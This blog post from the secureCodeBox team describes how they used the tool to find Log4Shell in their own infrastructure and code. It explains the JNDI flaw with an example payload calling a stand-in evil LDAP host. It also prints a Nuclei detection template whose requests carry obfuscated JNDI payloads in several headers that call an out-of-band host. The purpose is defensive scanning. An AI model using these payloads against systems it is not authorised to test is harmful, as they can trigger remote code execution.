Project: secureCodeBox (Provisioning / Security & Compliance)
File: 2022-01-18-log4shell.md

title: How We Used the secureCodeBox In Our Log4Shell Incident Response author: The secureCodeBox Team author_title: Core Developer author_url: https://github.com/secureCodeBox authorimageurl: https://avatars.githubusercontent.com/u/34573705?v=4 tags: secureCodeBox case study incident response SAST DAST cascading scans Log4Shell Log4J description: We describe how the secureCodeBox allowed us to rapidly respond to the Log4shell vulnerability. image: /img/blog/2022-02-24-burninglog.jpg Cover photo by on . By now, you must have heard about Log4Shell, the present that ruined Christmas for many developers and IT specialists, whether naughty or nice. This blog describes how we used the secureCodeBox as one building block in our incident response process at iteratec. <!--truncate--> But first, a small refresher: In late November 2021, a . It allowed attackers to remotely execute code through Java Naming and Directory Interface () lookups to malicious LDAP servers: If an attacker can get the application to log a payload controlled by the attacker, like `{jndi:ldap//evil.ldap.server.adress/a}`, then the code hosted on the LDAP server would be loaded and executed by the program, effectively letting third parties take control of the Java Application and the server it's running on. This vulnerability shook the IT world. It received a CVE rating of 10/10, and even the German government issued a statement calling for immediate action and described the issue as "critical". This is due to two main reasons. First, the vulnerability was relatively simple for attackers to exploit. Second, it has remained undiscovered since 2013, affecting many services from AWS to Minecraft. At , as a software development company, we had to assess our security posture as well - for both the infrastructure that we were running for ourselves, as well as the software we develop for our customers. In this blog post, we describe how we leveraged the secureCodeBox as part of our incident response. Determining where a newly-detected vulnerability may be lurking inside your infrastructure can be a daunting task: You have to find a way to detect the vulnerability, test it, and then go through all of your systems to test them for the presence of the vulnerability. Luckily, many parts of this process can be partially automated using the secureCodeBox. Soon after the Log4Shell vulnerability became publicly known, the community of the scanner published a (the nuclei version of a scan rule, which describes declaratively how to test a host for the vulnerability) to detect the Log4Shell vulnerability. This rule triggers a single HTTP request to the target with a single HTTP get request parameter set to include the JNDI attack payload. It also includes a large number of HTTP header each containing the same attack payload. If the server uses a vulnerable version of Log4J to log one of the parameters, the host will trigger a DNS lookup. Before the scan, nuclei registers a new endpoint on an , which will log all DNS lookup made to that unique domain

Nuclei automatically configures the JNDI attack payload to make the lookup on the domain name of the OOB endpoint. This gives a very effective way to discover the vulnerability with a very low chance for false positives. Thought the false positive rate is very low, the detection rate can also be low, as the dynamic scans have to actually trigger the vulnerability correctly by passing the right parameters (e.g. `?foo=bar&baz=${jdni...})`), finding and using the correct endpoint (e.g. `/api/user/login`) or including a valid user token and session to access a restricted endpoint. All these things are potentially required to detect Log4Shell via dynamic scanners. Hence, if the scans do not give any results, it does not necessarily mean that no Log4J bug is present, but it can at least rule out the easy-to-find cases. To use the Nuclei template in the secureCodeBox, we used the Log4Shell Nuclei template and expanded it to include the attack payload in more headers and parameters to increase chance of finding vulnerable hosts. To run these scans, we used the following secureCodeBox configuration: ```yaml apiVersion: "execution.securecodebox.io/v1" kind: Scan metadata: name: "nuclei-log4j" spec: scanType: "nuclei" parameters: "-templates" "/custom-nuclei-rules/log4j-template.yaml" "-target" "log4j-vuln.example.com" volumeMounts: name: nuclei-template-log4j mountPath: /custom-nuclei-rules/ volumes: name: nuclei-template-log4j configMap: name: nuclei-template-log4j apiVersion: v1 kind: ConfigMap metadata: name: nuclei-template-log4j data: log4j-template.yaml: | id: CVE-2021-44228 info: name: Remote code injection in Log4j author: melbadry9,dhiyaneshDK,daffainfo,J12934 severity: critical description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. reference: https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://www.lunasec.io/docs/blog/log4j-zero-day/ https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a tags: cve,cve2021,rce,oast,log4j requests: raw: | GET /?x=${jndi:ldap://${hostName}.{{interactsh-url}}/a} HTTP/1.1 Host: {{Hostname}} User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}} Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} X-Forwarded-For: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} Authentication: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} | GET / HTTP/1.1 Host: {{Hostname}} X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}} matchers-condition: and matchers: type: word part: interactsh_protocol # Confirms the DNS Interaction words: "dns" type: regex part: interactsh_request regex: '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable extractors: type: regex part: interactsh_request group: 1 regex: '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output ``` This example consists of a configmap holding the slightly modified Nuclei Log4Shell template which is then mounted and selected as the only template to run in the Nuclei scan defined above. In the month since, the official Nuclei Log4Shell template was expanded significantly and additional templates to scan for specifc occurences in known vulnerable software like , , and more were released. You can use all these rules in a scan like this: ```yaml apiVersion: "execution.securecodebox.io/v1" kind: Scan metadata: name: "nuclei-log4j" spec: scanType: "nuclei" parameters: "-tags" "log4j" "-target" "log4j-vuln.example.com" ``` We needed a test target to validate that our scanners effectively detect a Log4J vulnerability. Fortunately, secureCodebox already has the ideal resource for this use case: the demo target. We use demo targets in SCB to continuously test the functionality of our scanners during the development cycles. Our existing demo targets include the and

Integration tests are run against the demo targets during our CI/CD pipeline to spot any malfunctioning scanner. Demo targets consist of a Kubernetes service containing a vulnerable application image. Creating a new Log4J demo target is a straightforward process. First, a vulnerable docker image is required. Luckily, an image has been . Second, we must create our using the same directory structure as the other demo targets and configure it to use the vulnerable Log4J image. We set the `image.repository` to the provided docker image above as seen in the following `values.yaml` file: ```yaml replicaCount: 1 image: repository: ghcr.io/christophetd/log4shell-vulnerable-app tag: null pullPolicy: IfNotPresent service: type: ClusterIP port: 8080 ``` We also configure a service of type on port 8080. It is essential to expose the demo target's container on the same port. So it would have the port 8080 open to TCP protocol as seen in the Deployment resource below: ```yaml apiVersion: apps/v1 kind: Deployment metadata: name: {{ include "vulnerable-log4j.fullname" . }} labels: {{- include "vulnerable-log4j.labels" . | nindent 4 }} annotations: {{- include "vulnerable-log4j.annotations" . | nindent 4 }} spec: replicas: {{ .Values.replicaCount }} selector: matchLabels: {{- include "vulnerable-log4j.selectorLabels" . | nindent 6 }} template: metadata: labels: {{- include "vulnerable-log4j.selectorLabels" . | nindent 8 }} annotations: {{- include "vulnerable-log4j.annotations" . | nindent 8 }} spec: {{- with .Values.imagePullSecrets }} imagePullSecrets: {{- toYaml . | nindent 8 }} {{- end }} securityContext: {{- toYaml .Values.podSecurityContext | nindent 8 }} containers: name: {{ .Chart.Name }} securityContext: {{- toYaml .Values.securityContext | nindent 12 }} image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" imagePullPolicy: {{ .Values.image.pullPolicy }} ports: name: http containerPort: 8080 protocol: TCP resources: {{- toYaml .Values.resources | nindent 12 }} {{- with .Values.nodeSelector }} nodeSelector: {{- toYaml . | nindent 8 }} {{- end }} {{- with .Values.affinity }} affinity: {{- toYaml . | nindent 8 }} {{- end }} {{- with .Values.tolerations }} tolerations: {{- toYaml . | nindent 8 }} {{- end }} ``` And then we are essentially done. All that is left now is to install the demo target in the preferred namespace, as shown below: ```bash helm upgrade --install vulnerable-log4j ./demo-targets/vulnerable-log4j/ --namespace <NAMESPACE> ``` After using the demo target to validate that the scanner works, we then proceeded to run it against our own infrastructure. To scan for the Log4Shell vulnerabilities dynamically (DAST) we first have to identify what to scan, the so-called attack surface. One powerful feature of the secureCodeBox is the dynamic scan orchestration of different security scanner: the . Based on that it is easy to run an initial scan to discover scan targets and use their result to automatically start (cascade) specialized scans for the identified hosts and domains.We used two different different discovery methods: For hosts sitting in internal networks, we used nmap () to identify active hosts and open ports in our internal IP ranges (e.g. 10.42.0.0/16) and network

Every port which nmap identified to be related to http(s) (which is generally the easiest protocol to scan for Log4Shell even thought it can also be exploitable via different protocols) was used as a target in a cascading Log4Shell scan. For publicly available hosts, we used the OWASP AMASS scanner () first to find subdomains for the list of domain names we own as a company. This outputs a list of a subdomains which also automatically trigger `nmap` cascading scans to find open http(s) ports for the actual Log4Shell vulnerability assessment. After enumerating the targets, we triggered the actual Nuclei scans using another cascading rule. Most scanner helm charts in the secureCodeBox come with cascading rules by default. E.g. the is included by default in the nmap helm chart GitHub. With the nuclei cascading rule we wanted to have more control over the configuration of the automatically created cascaded scans so we disabled the cascading rules included by default in the helm chart (`helm install nuclei secureCodeBox/nuclei --set="cascadingRules.enabled=false"`) and created our own, incorporating our custom nuclei configuration described above. The rule then looked like the following (reusing the ConfigMap created in the example above): ```yaml apiVersion: "cascading.securecodebox.io/v1" kind: CascadingRule metadata: name: "nuclei-log4j-scan-https" labels: securecodebox.io/invasive: non-invasive securecodebox.io/intensive: light spec: matches: anyOf: category: "Open Port" attributes: port: 443 state: open category: "Open Port" attributes: service: "https" state: open category: "Open Port" attributes: service: "https*" state: open scanSpec: scanType: "nuclei" parameters: "-templates" "/custom-nuclei-rules/log4j-template.yaml" "-target" "https://{{$.hostOrIP}}:{{attributes.port}}" volumeMounts: name: nuclei-template-log4j mountPath: /custom-nuclei-rules/ volumes: name: nuclei-template-log4j configMap: name: nuclei-template-log4j ``` Of course, as a software development company, we also had to validate that the code we produce for our customers wasn't affected. The individual development teams quickly determined if their projects were affected, created updates, and shipped them to the customers. As part of the security team, we supported the teams in their efforts. In parallel, we used the static code analysis (SAST) capabilities of the secureCodeBox to scan our software repositories for places where code may have been missed. We followed the workflows , using written by Kurt Boberg () and Lewis Ardern () and released on the . Although these rules will not detect everything (in particular, they will not find Log4J if it is pulled in transitively via a dependency), they allowed us to get some quick insight into which repositories may require further investigation. When a new critical vulnerability is found, it is often imperative to act quickly and comprehensively. The secureCodeBox can play an invaluable role in quickly identifying affected systems and software repositories, especially if you prepare and test incident response playbooks in advance so that you only have to configure the correct detection rules and then rely on a well-tested stack of security scanners to collect your findings. How do you use the secureCodeBox? We are looking forward to hearing your own stories and ideas for using secureCodeBox - the (Channel `#project-securecodebox`) or to get in touch.